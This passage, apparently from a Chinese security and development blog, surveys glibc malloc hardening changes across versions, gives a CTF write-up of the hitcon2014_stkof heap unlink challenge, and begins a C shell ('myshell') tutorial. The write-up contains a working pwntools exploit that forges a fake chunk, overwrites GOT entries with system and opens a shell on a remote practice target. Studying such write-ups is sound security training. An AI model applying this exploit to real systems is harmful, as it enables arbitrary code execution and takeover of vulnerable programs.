tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
/* 有删节 */
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
/* 有删节 */
  size = chunksize (p);

  /* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

  check_inuse_chunk(av, p);

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
	&& tc_idx < mp_.tcache_bins
	&& tcache->counts[tc_idx] < mp_.tcache_count)
      {
	tcache_put (p, tc_idx);
	return;
      }
  }
#endif
/* 有删节 */
}

  • malloc_consolidate() 新增 FastBin 相关 check

New

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static void malloc_consolidate(mstate av)
{
  /* 有删节 */
  maxfb = &fastbin (av, NFASTBINS - 1);
  fb = &fastbin (av, 0);
  do {
    p = atomic_exchange_acq (fb, NULL);
    if (p != 0) {
      do {
	{
	  unsigned int idx = fastbin_index (chunksize (p));
	  if ((&fastbin (av, idx)) != fb)
	    malloc_printerr ("malloc_consolidate(): invalid chunk size");
	}

	check_inuse_chunk(av, p);
	nextp = p->fd;

    /* 有删节 */
      } while ( (p = nextp) != 0);

    }
  } while (fb++ != maxfb);
}

Old

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void malloc_consolidate(mstate av)
{
  /* 有删节 */
    maxfb = &fastbin (av, NFASTBINS - 1);
    fb = &fastbin (av, 0);
    do {
      p = atomic_exchange_acq (fb, NULL);
      if (p != 0) {
	do {
	  check_inuse_chunk(av, p);
	  nextp = p->fd;

    /* 有删节 */

	} while ( (p = nextp) != 0);

      }
    } while (fb++ != maxfb);
  /* 有删节 */
}

2.28

  • 修复 __libc_malloc 中 tcache 错误
    New

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    void *
    __libc_malloc (size_t bytes)
    {
      mstate ar_ptr;
      void *victim;

      void *(*hook) (size_t, const void *)
        = atomic_forced_read (__malloc_hook);
      if (__builtin_expect (hook != NULL, 0))
        return (*hook)(bytes, RETURN_ADDRESS (0));
    #if USE_TCACHE
      /* int_free also calls request2size, be careful to not pad twice.  */
      size_t tbytes;
      checked_request2size (bytes, tbytes);
      size_t tc_idx = csize2tidx (tbytes);

      MAYBE_INIT_TCACHE ();

      DIAG_PUSH_NEEDS_COMMENT;
      if (tc_idx < mp_.tcache_bins
          && tcache
          && tcache->counts[tc_idx] > 0) //改动在此处
        {
          return tcache_get (tc_idx);
        }
      DIAG_POP_NEEDS_COMMENT;
    #endif
    /* 有删节 */
    }

    Old

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    void *
    __libc_malloc (size_t bytes)
    {
      mstate ar_ptr;
      void *victim;

      void *(*hook) (size_t, const void *)
        = atomic_forced_read (__malloc_hook);
      if (__builtin_expect (hook != NULL, 0))
        return (*hook)(bytes, RETURN_ADDRESS (0));
    #if USE_TCACHE
      /* int_free also calls request2size, be careful to not pad twice.  */
      size_t tbytes;
      checked_request2size (bytes, tbytes);
      size_t tc_idx = csize2tidx (tbytes);

      MAYBE_INIT_TCACHE ();

      DIAG_PUSH_NEEDS_COMMENT;
      if (tc_idx < mp_.tcache_bins
          /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
          && tcache
          && tcache->entries[tc_idx] != NULL) //改动在此处
        {
          return tcache_get (tc_idx);
        }
      DIAG_POP_NEEDS_COMMENT;
    #endif
    /* 有删节 */

  • _int_malloc 加入 checks
    New

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
          while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
            {
              bck = victim->bk;
              size = chunksize (victim);
              mchunkptr next = chunk_at_offset (victim, size);//此处有改动

              if (__glibc_unlikely (size <= 2 * SIZE_SZ)//此处有改动
                  || __glibc_unlikely (size > av->system_mem))
                malloc_printerr ("malloc(): invalid size (unsorted)");
              if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
                  || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
                malloc_printerr ("malloc(): invalid next size (unsorted)");
              if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
                malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
              if (__glibc_unlikely (bck->fd != victim)
                  || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
                malloc_printerr ("malloc(): unsorted double linked list corrupted");
              if (__glibc_unlikely (prev_inuse (next)))
                malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

              /*
                 If a small request, try to use last remainder if it is the
                 only chunk in unsorted bin.  This helps promote locality for
                 runs of consecutive small requests. This is the only
                 exception to best-fit, and applies only when there is
                 no exact fit for a small chunk.
               */

              if (in_smallbin_range (nb) &&
                  bck == unsorted_chunks (av) &&
                  victim == av->last_remainder &&
                  (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
                {
                  /* split and reattach remainder */
                  remainder_size = size - nb;
                  remainder = chunk_at_offset (victim, nb);
                  unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
                  av->last_remainder = remainder;
                  remainder->bk = remainder->fd = unsorted_chunks (av);
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }

                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);

                  check_malloced_chunk (av, victim, nb);
                  void *p = chunk2mem (victim);
                  alloc_perturb (p, bytes);
                  return p;
                }

              /* remove from unsorted list */
              if (__glibc_unlikely (bck->fd != victim))//此处有改动
                malloc_printerr ("malloc(): corrupted unsorted chunks 3");
              unsorted_chunks (av)->bk = bck;
              bck->fd = unsorted_chunks (av);

              /* Take now instead of binning if exact fit */

              if (size == nb)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
    		set_non_main_arena (victim);
    #if USE_TCACHE
    	      /* Fill cache first, return to user only if cache fills.
    		 We may return one of these chunks later.  */
    	      if (tcache_nb
    		  && tcache->counts[tc_idx] < mp_.tcache_count)
    		{
    		  tcache_put (victim, tc_idx);
    		  return_cached = 1;
    		  continue;
    		}
    	      else
    		{
    #endif
                  check_malloced_chunk (av, victim, nb);
                  void *p = chunk2mem (victim);
                  alloc_perturb (p, bytes);
                  return p;
    #if USE_TCACHE
    		}
    #endif
                }
              /* place chunk in bin */

              if (in_smallbin_range (size))
                {
                  victim_index = smallbin_index (size);
                  bck = bin_at (av, victim_index);
                  fwd = bck->fd;
                }
              else
                {
                  victim_index = largebin_index (size);
                  bck = bin_at (av, victim_index);
                  fwd = bck->fd;

                  /* maintain large bins in sorted order */
                  if (fwd != bck)
                    {
                      /* Or with inuse bit to speed comparisons */
                      size |= PREV_INUSE;
                      /* if smaller than smallest, bypass loop below */
                      assert (chunk_main_arena (bck->bk));
                      if ((unsigned long) (size)
    		      < (unsigned long) chunksize_nomask (bck->bk))
                        {
                          fwd = bck;
                          bck = bck->bk;

                          victim->fd_nextsize = fwd->fd;
                          victim->bk_nextsize = fwd->fd->bk_nextsize;
                          fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                        }
                      else
                        {
                          assert (chunk_main_arena (fwd));
                          while ((unsigned long) size < chunksize_nomask (fwd))
                            {
                              fwd = fwd->fd_nextsize;
    			  assert (chunk_main_arena (fwd));
                            }

                          if ((unsigned long) size
    			  == (unsigned long) chunksize_nomask (fwd))
                            /* Always insert in the second position.  */
                            fwd = fwd->fd;
                          else
                            {
                              victim->fd_nextsize = fwd;
                              victim->bk_nextsize = fwd->bk_nextsize;
                              if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                                malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                              fwd->bk_nextsize = victim;
                              victim->bk_nextsize->fd_nextsize = victim;
                            }
                          bck = fwd->bk;
                          if (bck->fd != fwd)
                            malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                        }
                    }
                  else
                    victim->fd_nextsize = victim->bk_nextsize = victim;
                }

              mark_bin (av, victim_index);
              victim->bk = bck;
              victim->fd = fwd;
              fwd->bk = victim;
              bck->fd = victim;

    #if USE_TCACHE
          /* If we've processed as many chunks as we're allowed while
    	 filling the cache, return one of the cached ones.  */
          ++tcache_unsorted_count;
          if (return_cached
    	  && mp_.tcache_unsorted_limit > 0
    	  && tcache_unsorted_count > mp_.tcache_unsorted_limit)
    	{
    	  return tcache_get (tc_idx);
    	}
    #endif

    #define MAX_ITERS       10000
              if (++iters >= MAX_ITERS)
                break;
            }

2.29

2.30

2.31

2.32

2.34

Old:

1
2
3
4
void *(*hook) (size_t, const void *)
  = atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
  return (*hook)(bytes, RETURN_ADDRESS (0));

New:
1
2
if (!__malloc_initialized)
  ptmalloc_init ();

在 2.34 中 __malloc_hook 不复存在，于此相关联的劫持 __malloc_hook 的攻击手段也随之无效．
事实上，不只是 __malloc_hook，还有 __free_hook、__realloc_hook 也不复存在． __free_hook 被直接删去．
Old:

1
2
3
4
5
6
7
void (*hook) (void *, const void *)
  = atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
  {
    (*hook)(mem, RETURN_ADDRESS (0));
    return;
  }

New:
1

tcache 的 double free 检测完成了修复
Old:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (__glibc_unlikely (e->key == tcache))
  {
    tcache_entry *tmp;
    size_t cnt = 0;
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx];
	 tmp;
	 tmp = REVEAL_PTR (tmp->next), ++cnt)
      {
	if (cnt >= mp_.tcache_count)
	  malloc_printerr ("free(): too many chunks detected in tcache");
	if (__glibc_unlikely (!aligned_OK (tmp)))
	  malloc_printerr ("free(): unaligned chunk detected in tcache 2");
	if (tmp == e)
	  malloc_printerr ("free(): double free detected in tcache 2");
	/* If we get here, it was a coincidence.  We've wasted a
	   few cycles, but don't abort.  */
      }
  }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (__glibc_unlikely (e->key == tcache))
  {
    tcache_entry *tmp;
    size_t cnt = 0;
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx];
	 tmp;
	 tmp = REVEAL_PTR (tmp->next), ++cnt)
      {
	if (cnt >= mp_.tcache_count)
	  malloc_printerr ("free(): too many chunks detected in tcache");
	if (__glibc_unlikely (!aligned_OK (tmp)))
	  malloc_printerr ("free(): unaligned chunk detected in tcache 2");
	if (tmp == e)
	  malloc_printerr ("free(): double free detected in tcache 2");
	/* If we get here, it was a coincidence.  We've wasted a
	   few cycles, but don't abort.  */
      }
  }

New:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (__glibc_unlikely (e->key == tcache_key))
  {
    tcache_entry *tmp;
    size_t cnt = 0;
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx];
	 tmp;
	 tmp = REVEAL_PTR (tmp->next), ++cnt)
      {
	if (cnt >= mp_.tcache_count)
	  malloc_printerr ("free(): too many chunks detected in tcache");
	if (__glibc_unlikely (!aligned_OK (tmp)))
	  malloc_printerr ("free(): unaligned chunk detected in tcache 2");
	if (tmp == e)
	  malloc_printerr ("free(): double free detected in tcache 2");
	/* If we get here, it was a coincidence.  We've wasted a
	   few cycles, but don't abort.  */
      }
  }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (__glibc_unlikely (e->key == tcache_key))
  {
    tcache_entry *tmp;
    size_t cnt = 0;
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx];
	 tmp;
	 tmp = REVEAL_PTR (tmp->next), ++cnt)
      {
	if (cnt >= mp_.tcache_count)
	  malloc_printerr ("free(): too many chunks detected in tcache");
	if (__glibc_unlikely (!aligned_OK (tmp)))
	  malloc_printerr ("free(): unaligned chunk detected in tcache 2");
	if (tmp == e)
	  malloc_printerr ("free(): double free detected in tcache 2");
	/* If we get here, it was a coincidence.  We've wasted a
	   few cycles, but don't abort.  */
      }
  }

未完待续

参考资料

1. 俞甲子.程序员的自我修养[M].北京:电子工业出版社. ↩
发表PWN / Unlink14 分钟读完 (大约2086个字)

WriteUp--hitcon2014_stkof

warning
免责声明

本文所述 PWN 均属 CTF（Capture The Flag）参赛行为或赛前训练行为．笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机．
本文意在分享网络安全与 CTF 相关技术与技巧，共同提升实力．
请本文读者谨记相关法律法规与政策．读者需为自身行为承担相应的法律后果．笔者（Y7n05h）不为读者的行为承担责任．

先复习一下什么是 Unlink．

这是 Glibc 2.23 中 Unlink 相关的操作：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                              \
  FD = P->fd;                                                                \
  BK = P->bk;                                                                \
  if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                       \
    malloc_printerr(check_action, "corrupted double-linked list", P, AV);    \
  else {                                                                     \
    FD->bk = BK;                                                             \
    BK->fd = FD;                                                             \
    if (!in_smallbin_range(P->size) &&                                       \
        __builtin_expect(P->fd_nextsize != NULL, 0)) {                       \
      if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||           \
          __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))             \
        malloc_printerr(check_action,                                        \
                        "corrupted double-linked list (not small)", P, AV);  \
      if (FD->fd_nextsize == NULL) {                                         \
        if (P->fd_nextsize == P)                                             \
          FD->fd_nextsize = FD->bk_nextsize = FD;                            \
        else {                                                               \
          FD->fd_nextsize = P->fd_nextsize;                                  \
          FD->bk_nextsize = P->bk_nextsize;                                  \
          P->fd_nextsize->bk_nextsize = FD;                                  \
          P->bk_nextsize->fd_nextsize = FD;                                  \
        }                                                                    \
      } else {                                                               \
        P->fd_nextsize->bk_nextsize = P->bk_nextsize;                        \
        P->bk_nextsize->fd_nextsize = P->fd_nextsize;                        \
      }                                                                      \
    }                                                                        \
  }                                                                          \
}

可以看到所谓 Unlink 主要就是双向链表的删除操作．但 Unlink 与普通的双向链表删除操作相比多了检查链表完整性抵御数据结构损坏与恶意攻击的 Checks．
info
INFO
下面对 Unlink 的讲解基于 x86_64 GNU/Linux 环境．

通过 Unlink 操作，能修改指向 Chunk 的指针．
假设现在有 mchunkptr pr 指向一个 chunk，且 &pr 的值已知为 t．

1
2
mchunkptr pr = (char *)malloc(0x30) - 0x10;
mchunkptr *t = &pr;

首先，看看代码就能发现，代码会检测 fd 和 bk 被篡改的情况．那么为了利用其中的漏洞，自然需要绕过这个 check．

1
2
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                       \
  malloc_printerr(check_action, "corrupted double-linked list", P, AV);    \

通过设置 fd 和 bk 的值就能绕过这个 check．
1
2
pr->fd=(char *)t-(bk 在 chunk 中的偏移量);
pr->bk=(char *)t-(fd 在 chunk 中的偏移量);

也就是
1
2
pr->fd=(char *)t-0x18;
pr->bk=(char *)t-0x10;

再看这里：
1
2
FD = P->fd;
BK = P->bk;

上面的绕过操作中，fd 和 bk 有明确的要求，那么就能得到：
1
2
FD = (char *)t-0x18;
BK = (char *)t-0x10;

看到这里，将发现：
1
2
FD->bk == *(void **)t == P ;
BK->fd == *(void **)t == P ;

这便实现了对 __builtin_expect(FD->bk != P || BK->fd != P, 0) 的绕过．
如果读者对上述的绕过操作没能理解，那么不妨将设置的 fd 与 bk 的值带入上面的 check 试试，或许对此会有新的理解．

那么到了双向链表的删除操作，

1
2
FD->bk = BK;
BK->fd = FD;

用上面的结论，这里的语句实质上就是：
1
2
*(void **)t = (char *)t-0x10;
*(void **)t = (char *)t-0x18;

这两次修改的最终效果自然只是：
1
*(void **)t = (char *)t-0x18;

回想 t 的定义：
1
mchunkptr *t = &pr;

哦，那么也就是：
1
pr = (char *)&pr-0x18;

这就是 Unlink 的利用的核心部分了．值得注意的是：上面的讲解中，反复出现了 P 和 pr，或者这两者会使读者产生混淆．需要说明的是：pr 和 P 是无关的两个指针，对 Unlink 的整个利用过程也与 P 无关，只有 pr 需要被关注．

总结一下刚才得到的结论：

1
2
3
4
mchunkptr pr = (char *)malloc(0x30) - 0x10;
mchunkptr *t = &pr;
pr->fd=(char *)t-0x18;
pr->bk=(char *)t-0x10;

然后想办法触发对 pr 的 Unlink 就能使：
1
pr = (char *)&pr-0x18;

那么现在阻碍对 Unlink 的利用的就是「如何触发对 pr 指向的 chunk 的 Unlink 操作呢？」
可以通过 free 一个不进入 tcache 或 fastbin 的 chunk，触发对其相邻的 chunk 的 Unlink．下面是 Glibc 2.23 中 _int_free 的部分源码．
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = p->prev_size;
  size += prevsize;
  p = chunk_at_offset(p, -((long)prevsize));
  unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
  /* get and clear inuse bit */
  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

  /* consolidate forward */
  if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
  } else
    clear_inuse_bit_at_offset(nextchunk, 0);

那么另一个问题是：「如何控制 pr->fd 和 pr->bk 呢？」
很简单，通过伪造一个 chunk 即可．
请看下面的例题．

hitcon2014_stkof

通过分析简单的分析能写出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.os = "linux"
context.arch = "amd64"
context.log_level = "debug"
path = "/home/admin/Downloads/stkof"
libc = ELF("/home/admin/pwn/buulib/libc-16.2.23-64.so")
elf = ELF(path)
r = remote("node4.buuoj.cn", 28436)


def i2b(n: int):
    return bytes(str(n), encoding="ascii")


def alloc(size: int):
    r.sendline(b"1")
    sleep(0.5)
    r.sendline(i2b(size))
    r.recvline()
    r.recvuntil(b"OK\n")


def edit(idx: int, size: int, context: bytes):
    r.sendline(b"2")
    sleep(0.5)
    r.sendline(i2b(idx))
    sleep(0.5)
    r.sendline(i2b(size))
    sleep(0.5)
    r.send(context)
    r.recvline()


def free(idx: int):
    r.sendline(b"3")
    sleep(0.5)
    r.sendline(i2b(idx))
    # r.recvuntil(b"OK\n")

下面便利用 Unlink 解出这道题：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Array = 0x602140
# 触发 IO 请求，使 IO 函数完成对输入输出缓冲区的申请，消除对下面代码的干扰，这个这次申请的 alloc 的大小可以是任意值
alloc(0x10)  # 1

alloc(0x30)  # 2
alloc(0x80)  # 3

# 在 2 中伪造了一个大小为 0x20 的 chunk
# 2 是 指向 memory 的指针在 Array 中的下标，也就是 &Array[2] == (char *)Array + 0x10
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)
payload = payload.ljust(0x30, b"a")
payload += flat(0x30, 0x90)
edit(2, len(payload), payload)
free(3)
r.recvline()

Array[2] 是一个指向 memory 的指针，在这个位置伪造一个 fakechunk 那么 Array[2] 就成为了指向 fakechunk 的 pr，&Array[2] == (char *)Array + 0x10 也就是 &pr 对应上文中的 t．

1
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)

这里的前 4 个值分别对应：fakechunk 的 prev_size、fakechunk 的 size、fakechunk 的 fd、fakechunk 的 bk．
问题来了：这里的第 5 个值 0x20 是做什么的？

下面是 Glibc 2.27 中 unlink_chunk 的源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                              \
  if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))         \
    malloc_printerr("corrupted size vs. prev_size");                         \
  FD = P->fd;                                                                \
  BK = P->bk;                                                                \
  if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                       \
    malloc_printerr("corrupted double-linked list");                         \
  else {                                                                     \
    FD->bk = BK;                                                             \
    BK->fd = FD;                                                             \
    if (!in_smallbin_range(chunksize_nomask(P)) &&                           \
        __builtin_expect(P->fd_nextsize != NULL, 0)) {                       \
      if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||           \
          __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))             \
        malloc_printerr("corrupted double-linked list (not small)");         \
      if (FD->fd_nextsize == NULL) {                                         \
        if (P->fd_nextsize == P)                                             \
          FD->fd_nextsize = FD->bk_nextsize = FD;                            \
        else {                                                               \
          FD->fd_nextsize = P->fd_nextsize;                                  \
          FD->bk_nextsize = P->bk_nextsize;                                  \
          P->fd_nextsize->bk_nextsize = FD;                                  \
          P->bk_nextsize->fd_nextsize = FD;                                  \
        }                                                                    \
      } else {                                                               \
        P->fd_nextsize->bk_nextsize = P->bk_nextsize;                        \
        P->bk_nextsize->fd_nextsize = P->fd_nextsize;                        \
      }                                                                      \
    }                                                                        \
  }                                                                          \
}

请关注这里新增了：
1
2
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
  malloc_printerr("corrupted size vs. prev_size");

这里会比较 chunk 的 size 和 next_chunk 的 prev_size．
1
payload = flat(1, 0x20, Array+0x10-0x18, Array+0x10-0x10,0X20)

这里最后一个值 0x20 用作 fakechunk 的 next_chunk 的 prev_size，来绕过上述的 check．
1
2
payload = payload.ljust(0x30, b"a")
payload += flat(0x30, 0x90)

这里，通过 ljust 将 payload 补齐 0x30 的长度后，flat(0x30, 0x90) 分别修改 Array[3] 指向的 memory 对应的 chunk 的 prev_size 和 size．
为什么要修改这两个字段？

1
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = p->prev_size;
  size += prevsize;
  p = chunk_at_offset(p, -((long)prevsize));
  unlink(av, p, bck, fwd);
}

_int_free 中通过 chunk 的 size 中的 PREV_INUSE 判断 prev_chunk 是否需要 Unlink．所以需要将 Array[3] 指向的 memory 对应的 chunk 的 size 中的 PREV_INUSE 取消置位．
又因为 _int_free 通过 prevsize 定位 prevchunk 所以需要修改 Array[3] 指向的 memory 对应的 chunk 的 prev_size 为 0x30 才能对 fakechunk 触发 Unlink．

注意：
在 ptmalloc 的的视角中：Array[3] 的 prev_chunk 是 fakechunk．且 fakechunk 的 nextchunk 是一个 0x20 的 chunk．

至此，题目的 Unlink 部分讲解完成．
剩余部分就是泄漏 puts 的地址，将 atoi 的 got 表中的值修改为 system 的地址．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = flat(0, elf.got['free'], elf.got['puts'], elf.got['atoi'])
edit(2, len(payload), payload)
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)
free(1)
puts_addr = r.recvline(keepends=False)
r.recvline()

assert(len(puts_addr) == 6)
puts_addr = u64(puts_addr.ljust(8, b"\x00"))
log.success("puts addr success "+hex(puts_addr))
libc_base = puts_addr-libc.symbols['puts']
system_addr = libc_base+libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload)
r.sendline(b"/bin/sh\x00")
r.interactive()

参考资料

1. Unlink[G/OL].CTF Wiki, https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/. ↩

2：Glibc, https://www.gnu.org/software/libc.

发表Dev39 分钟读完 (大约5878个字)

GNU/Linux_C 开发实战--myshell

Linux C 开发实战—myshell

时间过的飞快，不知不觉中离笔者写完myshell已经过了不少时间了．为了进一步的巩固笔者当初从开发实战中学习到的知识，笔者决定还是补上这篇拖延了很久的博客．

需求

  • 支持使用任意数量的 管道
  • 支持使用命令调用其他程序
  • 支持使用任意数量的重定向输入输出
  • 内置 cd 命令
  • 内置 history 命令
  • 支持Tab键 补全
  • 实现光标移动
  • 屏蔽相关信号，防止 Ctrl+C 杀死
  • 界面美观

开发过程

头文件

1
2
3
4
5
6
7
8
9
10
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
#include <readline/history.h>
#include <readline/readline.h>

宏和全局变量

1
2
3
4
5
6
7
8
extern char **environ;
struct COMMAND
{
    int argc;           //参数数量
    int Redirect_FD[3]; //标准输入、标准输出、错误输出的重定向情况
    char **argv;
};
char *oldpath;

错误处理

1
2
3
4
5
6
void myerror(char *string, int line)
{
    fprintf(stderr, "\aLine:%d,error:\a\n", line);
    fprintf(stderr, "%s:%s\n", string, strerror(errno));
    exit(EXIT_FAILURE);
}

开发前的分析

  • 多重管道可以使用 分治 的思想逐层处理，化简为单重管道的情况，而单重管道可视为先后发生A >./tmpfile和 B <./tmpfile 的情况，因此管道和重定向符的实现紧密相关．
  • 重定向符有很多种格式，例如：> 、 >> 、 1> 、 1>> 、 2> 、 2>> 、< 、 << 、 1>&2 、 1>>&2 、 2>&1 、 2>>&1 ，但这次练习的重点不是字符串的解析，故此笔者不计划实现最后的五种．
  • Tab键 补全、历史记录的存放等功能均由 readline 库实现(感谢GNU Project为此作出的贡献)．
  • 界面美观的要求通过输出带有颜色的文字和输出对齐的文本来实现
  • 调用其他程序则涉及进程控制的相关内容

获取并解析用户输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main(void)
{
    read_history(NULL);

    while (1)
    {
        char *command = readline("MYSHELL$");
        add_history(command);
        write_history(NULL);
        launch(command);
        free(command);
    }

    if (oldpath != NULL)
    {
        free(oldpath);
    }
}

通过 readline 库提供的 readline() 函数，便可轻松的输出 命令提示符 并获取用户输入．

将命令拆分成多段

此时，笔者运用著名的 分治 思想，将形如 A -b cde -f | g -hi | j -k lmn >123.txt 的命令以 | 为界线拆成多段，分别处理．

笔者在前文分析过 管道 可以用两个输入输出重定向来实现．
下面分析实现的具体方法，取一条以|符号为界分为 $n$段的命令( $\forall n \in\mathbb N^+, n \geq 3$ )

  1. 考察该命令的第 $1$ 段．管道要求第二段命令的输入为第一段命令的输出．因此可将第 $1$ 段命令的标准输出重定向至临时文件，并将第 $2$ 段命令的标准输入重定向至该临时文件．
  2. 考察该命令的第 $i$ 段( $\forall i \in\mathbb N, 1 < i < n $)．该段命令的输入为第 $i-1$ 段的输出，可将第 $i-1$ 段的标准输出重定向至临时文件，并将第 $i$ 段的标准输入重定向至该临时文件；该段命令的输出为第 $i+1$ 段的输入，可将第 $i$ 段的标准输出重定向至临时文件，并将第 $i+1$ 段的标准输入重定向至该临时文件
  3. 考察该命令的第 $n$ 段．该段的输入为第 $n-1$ 段的输出．因此可将第 $n-1$ 段的标准输出重定向至临时文件，并将第 $n$ 段的标准输入重定向至该临时文件．

这就是实现管道的全部流程．

但问题来了，如何处理形如 A -b cde -f >./log.txt | g -hi | j -k lmn <123.txt 的命令？在上段中，笔者分析了第 $1$ 段的标准输入要重定向至临时文件，但命令中却要求重定向至 log.txt ．
笔者曾考虑复制一份重定向中产生的临时文件至 ./log.txt 或者用 log.txt 代替临时文件的功能，这样就能上例中的冲突．但是请思考这个例子 ls -al >/dev/null |wc -c ．
这个命令中wc -c命令读的结果根据实现方法会有不同．在笔者的环境中使用 zsh 执行该命令的结果不为 0 ，但使用 GNU bash 执行该命令的结果为 0 ．笔者认为类似上面的命令具有 二义性 ，故此笔者的 myshell 实现中对形如 A -b cde -f >./log.txt | g -hi | j -k lmn >123.txt 、ls -al >/dev/null |wc -c 、ls -alR / |grep test <./result.md 这类命令做报错处理，欢迎读者们在评论区留言和笔者讨论这个问题．

